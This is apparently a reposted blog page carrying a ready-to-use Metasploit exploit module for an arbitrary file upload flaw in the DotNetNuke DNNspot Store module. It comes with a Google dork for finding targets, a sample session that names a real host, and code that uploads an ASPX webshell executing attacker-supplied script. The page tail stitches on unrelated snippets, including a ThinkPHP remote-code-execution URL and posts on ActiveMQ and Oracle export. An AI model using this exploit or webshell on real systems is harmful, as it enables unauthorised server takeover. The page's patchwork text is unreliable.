[EXP]K8 DotNetNuke DNNspot Store <=3.0 GetShell exploit

# Exploit Title: DotNetNuke DNNspot Store <=3.0 GetShell exploit
# Date: 31/03/2015
# Author: K8拉登哥哥
# Version: 3.0.0
# Vendor: DNNspot
# Vendor URL: https://www.dnnspot.com
# Google Dork: inurl:/DesktopModules/DNNspot-Store/
#
#msf > use exploit/windows/http/DNNspot_upload_aspx
#msf exploit(DNNspot_upload_aspx) > set RHOST qqhack8.blog.163.com
#RHOST => qqhack8.blog.163.com
#msf exploit(DNNspot_upload_aspx) > exploit

#[*] Started reverse handler on 192.168.85.158:4444
#[*] qqhack8.blog.163.com:80 - Uploading payload...
#[*] K8WebShell: qqhack8.blog.163.com:80/DesktopModules/DNNspot-Store/ProductPhotos/hhmjrrhd.aspx
#[!] This exploit may require manual cleanup of ‘hhmjrrhd.aspx‘ on the target
#msf exploit(DNNspot_upload_aspx) >

require ‘msf/core‘

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

def initialize(info = {})
    super(update_info(info,
      ‘Name‘           => ‘DotNetNuke DNNspot Store (UploadifyHandler.ashx) <= 3.0.0 Arbitary File Upload‘,
      ‘Description‘    => %q{
        This module exploits an arbitrary file upload vulnerability found in DotNetNuke DNNspot Store
        module versions below 3.0.0.
      },
      ‘Author‘         =>
        [
          ‘Glafkos Charalambous <glafkos.charalambous[at]unithreat.com>‘
        ],
      ‘License‘        => MSF_LICENSE,
      ‘References‘     =>
        [
          [ ‘URL‘, ‘http://metasploit.com‘ ]
        ],
      ‘Platform‘       => ‘win‘,
      ‘Arch‘           => ARCH_X86,
      ‘Privileged‘     => false,
      ‘Targets‘        =>
        [
          [ ‘DNNspot-Store / Windows‘, {} ],
        ],
      ‘DefaultTarget‘  => 0,
      ‘DisclosureDate‘ => ‘Jul 21 2014‘))
  end

def check
    res = send_request_cgi({
      ‘method‘ => ‘GET‘,
      ‘uri‘    => normalize_uri("DesktopModules/DNNspot-Store/Modules/Admin/UploadifyHandler.ashx")
    })

if res and res.code == 200
      return Exploit::CheckCode::Detected
    else
      return Exploit::CheckCode::Safe
    end
  end

def exploit
    @payload_name = "#{rand_text_alpha_lower(8)}.aspx"
    exe  = generate_payload_exe
    aspx  = Msf::Util::EXE.to_exe_aspx(exe)
    post_data = Rex::MIME::Message.new
    post_data.add_part("<%@ Page Language=\"Jscript\"%><%eval(Request.Item[\"tom\"],\"unsafe\");%>", "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{@payload_name}\"")
    post_data.add_part("/DesktopModules/DNNspot-Store/ProductPhotos/", nil, nil, "form-data; name=\"folder\"")
    post_data.add_part("1", nil, nil, "form-data; name=\"productId\"")
    post_data.add_part("w00t", nil, nil, "form-data; name=\"type\"")
    data = post_data.to_s.gsub(/^\r\n\-\-\_Part\_/, ‘--_Part_‘)

print_status("#{peer} - Uploading payload...")
    res = send_request_cgi({
      "method" => "POST",
      "uri"    => normalize_uri("DesktopModules/DNNspot-Store/Modules/Admin/UploadifyHandler.ashx"),
      "data"   => data,
      "ctype"  => "multipart/form-data; boundary=#{post_data.bound}"
    })

unless res and res.code == 200
      fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")
    end

register_files_for_cleanup(@payload_name)

print_status("K8WebShell: #{peer}/DesktopModules/DNNspot-Store/ProductPhotos/#{@payload_name}")
    res = send_request_cgi({
      ‘method‘ => ‘GET‘,
      ‘uri‘    => normalize_uri("/DesktopModules/DNNspot-Store/ProductPhotos/",@payload_name)
    })
  end
end

https://github.com/k8gege/DotNetNukeEXPLOIT

原文地址:https://www.cnblogs.com/k8gege/p/10454182.html

时间: 2024-11-09 03:59:44

[EXP]K8 DotNetNuke DNNspot Store <=3.0 GetShell exploit的相关文章

[MSF] DotNetNuke DNNspot Store &lt;=3.0 GetShell exploit

MSF DotNetNuke DNNspot Store <=3.0 GetShell exploit  by k8team MSF里很多EXP都是反弹shell的 用起来不方便1 没exe执行权限时 有些东西就蛋碎了2 是大部分人都没VPS,你弹到哪去啊所以我弄了个直接上传webshell的脚本 DNNspot_upload_aspx.rb # Exploit Title: DotNetNuke DNNspot Store <=3.0 GetShell exploit# Date: 31/0

PageAdmin Cms V2.0 getshell 0day

黑小子在土司公布了"PageAdmin cms getshell Oday",并给出了一个漏 洞的利用EXP.经过危险漫步在虚拟机里测试,存在漏洞的是PageAdmin Cms的次最薪版本PageAdmm CmsV2.0,最新版本pageadmin v2.1 20110927不存在这个漏洞了.利用漏洞可以直接获得shell,危害还是很大的. 一.漏洞简介 PageAdmin Cms是集成内容发布.文章.产品.图片.招聘.留言.自定义模型.采集等功能于一体的企业级网站管理系统. 漏洞公布

Ladon插件ThinkPHP 5.0.22 5.1.29 GetShell Exploit

前言 使用Exp生成器生成Ladon插件实战,ThinkPHP GetShell 漏洞环境 使用docker ThinkPHP 5.0.20 复现测试 Payload: http://192.168.1.37:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1 执行命令 http://192.168.1.37:8080

Ladon插件CVE-2016-3088 ActiveMQ GetShell Exploit

前言 使用Exp生成器生成Ladon插件实战,CVE-2016-3088 ActiveMQ GetShell 0x000 漏洞信息 漏洞编号: CVE-2016-3088 漏洞原理: ActiveMQ 中的 FileServer 服务允许用户通过 PUT/MOVE方法上传文件到指定目录 影响版本: Apache ActiveMQ 5.0.0 – 5.13.2 0x001 获取路径 PUT /fileserver/%20/%20 0x002 上传shell 上传和移动文件需登陆,默认帐密admin

ORACLE 导出(exp) &amp; 导入(imp)

导出(exp) & 导入(imp)     利用Export可将数据从数据库中提取出来,就是将select的结果存到一个FS二进制文件上    利用Import则可将提取出来的数据送回到Oracle数据库中去.     要读写数据文件内数据,所以数据库必须open    不能备份活跃频繁数据     exp满足select的所有特性 比如权限或读一致性    imp满足insert的所有特性 比如主键或空间不足 Oracle支持三种方式基本类型的输出: 1.表方式(T方式),将指定表的数据导出.

ExtJs之Ext.data.Store

ExtJs之Ext.data.Store Posted on 2009-07-21 09:09 linFen 阅读(44912) 评论(5) 编辑 收藏 Store.getCount()返回的是store中的所有数据记录,然后使用for循环遍历整个store,从而得到每条记录. 除了使用getCount()的方法外,还可以使用each()函数,如下面的代码所示. store.each(function(record) { alert(record.get('name')); }); Each()

TOJ 2294 POJ 3286 How many 0&#39;s? 数位dp

http://acm.tju.edu.cn/toj/showp2294.html http://poj.org/problem?id=3284 题外话:集训结束,回学校了.在宿舍看了这题,没什么好想法,去洗澡了.转了两个澡堂都特么没开..倒是在路上把这题想了.用回自己的电脑,不得不说苹果的字体渲染,真心高一个等级. 题意:给定两个数a和b,从a写到b,问一共写了多少个0. 分析:当然先转化为求0..a写多少个0.网上有更简单的做法,就是枚举每位作为0,则如果这一位本来是0,左边取1..a-1(不

Ext.data.Store详解

Ext.data.Store是EXT中用来进行数据交换和数据交互的标准中间件,无论是Grid还是 ComboBox,都是通过它实现数据读取.类型转换.排序分页和搜索等操作的. Ext.data.Store中有一个Ext.data.Record数组,所有数据都存放在这些 Ext.data. Record实例中,为后面的读取和修改操作做准备. 10.4.1 基本应用 在使用之前,首先要创建一个Ext.data.Store的实例,如下面的代码所示. var data = [ ['boy', 0], [

多项式求ln,求exp,开方,快速幂 学习总结

按理说Po姐姐三月份来讲课的时候我就应该学了 但是当时觉得比较难加上自己比较懒,所以就QAQ了 现在不得不重新弄一遍了 首先说多项式求ln 设G(x)=lnF(x) 我们两边求导可以得到G'(x)=F‘(x)/F(x) 则G(x)就是F’(x)/F(x)的积分 我们知道多项式求导和积分是O(n)的,多项式求逆是O(nlogn)的 所以总时间复杂度O(nlogn) 多项式求ln一般解决的问题是这样的 设多项式f表示一些奇怪的东西,由一些奇怪的东西有序组成的方案为 f^1+f^2+f^3…… 化简之